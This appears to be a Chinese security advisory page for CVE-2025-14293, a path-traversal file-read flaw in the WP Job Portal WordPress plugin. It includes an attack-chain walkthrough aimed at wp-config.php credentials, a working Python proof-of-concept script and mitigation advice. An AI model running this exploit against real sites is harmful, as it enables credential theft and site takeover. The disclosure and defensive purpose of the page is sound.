IPBUF安全漏洞报告
English
CVE-2025-14293 CVSS 6.5 中危

CVE-2025-14293 WordPress WP Job Portal插件任意文件读取漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-14293
漏洞类型
任意文件读取
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WP Job Portal (WordPress插件)

相关标签

任意文件读取WordPress插件WP Job PortalCVE-2025-14293路径遍历认证用户信息泄露CVSS 6.5

漏洞概述

WP Job Portal是WordPress平台上一款广泛使用的招聘求职管理插件。该插件在2.4.0及以下所有版本中存在一处严重的任意文件读取漏洞。漏洞源于downloadCustomUploadedFile函数对用户输入的文件路径缺乏充分的验证和过滤。攻击者利用此漏洞可以通过构造特殊的HTTP请求,配合目录遍历技术(如使用../进行路径回溯),读取服务器上任意文件内容,包括但不限于wp-config.php配置文件、数据库凭证、其他插件的敏感信息等。此漏洞对任何使用该插件的WordPress站点都构成严重威胁,因为攻击者可获取站点最高权限凭证,从而完全接管网站。漏洞的利用门槛较低,只需拥有订阅者级别(Subscriber)的账户即可发起攻击,无需管理员权限。

技术细节

漏洞存在于WP Job Portal插件的modules/customfield/model.php文件中的downloadCustomUploadedFile函数(约908行)。该函数在处理文件下载请求时,直接将用户可控的参数作为文件路径传递给文件读取操作,而未对路径进行安全校验。攻击者可以通过构造类似fileid参数的恶意输入,利用路径遍历字符../访问服务器上的任意文件。例如,通过构造类似?task=downloadCustomUploadedFile&fileid=../../../wp-config.php的请求,攻击者可以读取WordPress的核心配置文件wp-config.php,该文件通常包含数据库用户名、密码以及安全密钥等敏感信息。由于该函数未对fileid参数进行输入验证和路径规范化处理,导致任意文件读取漏洞。攻击者成功利用此漏洞可获取站点最高权限凭证,进而完全控制受影响的WordPress网站。

攻击链分析

STEP 1
步骤1
攻击者获取目标WordPress站点的Subscriber级别账户(可通过注册功能自动获取)
STEP 2
步骤2
攻击者构造恶意HTTP请求,访问admin-ajax.php接口,参数action设置为downloadCustomUploadedFile
STEP 3
步骤3
在fileid参数中注入路径遍历载荷,如../../../wp-config.php
STEP 4
步骤4
服务器端downloadCustomUploadedFile函数未验证fileid参数,直接读取指定路径文件
STEP 5
步骤5
攻击者获取wp-config.php等敏感文件内容,提取数据库凭证和安全密钥
STEP 6
步骤6
利用获取的凭证连接数据库或完全接管WordPress站点

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from urllib.parse import urlencode # CVE-2025-14293 PoC - WP Job Portal Arbitrary File Read # Affected: WP Job Portal <= 2.4.0 def exploit(target_url, cookie, file_path): """ Exploit arbitrary file read vulnerability in WP Job Portal Args: target_url: Base URL of the WordPress site cookie: Valid session cookie (Subscriber-level or higher) file_path: Path to the file to read (e.g., ../../wp-config.php) """ # Target endpoint with path traversal endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct the malicious request params = { 'action': 'downloadCustomUploadedFile', 'fileid': f'../../../{file_path}' } headers = { 'Cookie': cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.get(endpoint, params=params, headers=headers, timeout=30) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Successfully read file: {file_path}") print(f"[+] File size: {len(response.content)} bytes") print("\n--- File Content ---") print(response.text[:5000]) # Print first 5000 chars return True else: print(f"[-] Failed to read file. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-14293.py <target_url> <cookie> <file_path>") print("Example: python cve-2025-14293.py http://example.com 'wordpress_logged_in_xxx=yyy' 'wp-config.php'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] file_path = sys.argv[3] exploit(target, cookie, file_path)

影响范围

WP Job Portal <= 2.4.0

防御指南

临时缓解措施
立即将WP Job Portal插件升级至最新版本(2.4.1及以上)。如果暂时无法升级,可通过Web应用防火墙(WAF)添加规则阻止包含路径遍历字符(../或..\)的fileid参数请求。同时限制用户注册功能,确保未授权用户无法获取订阅者级别账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表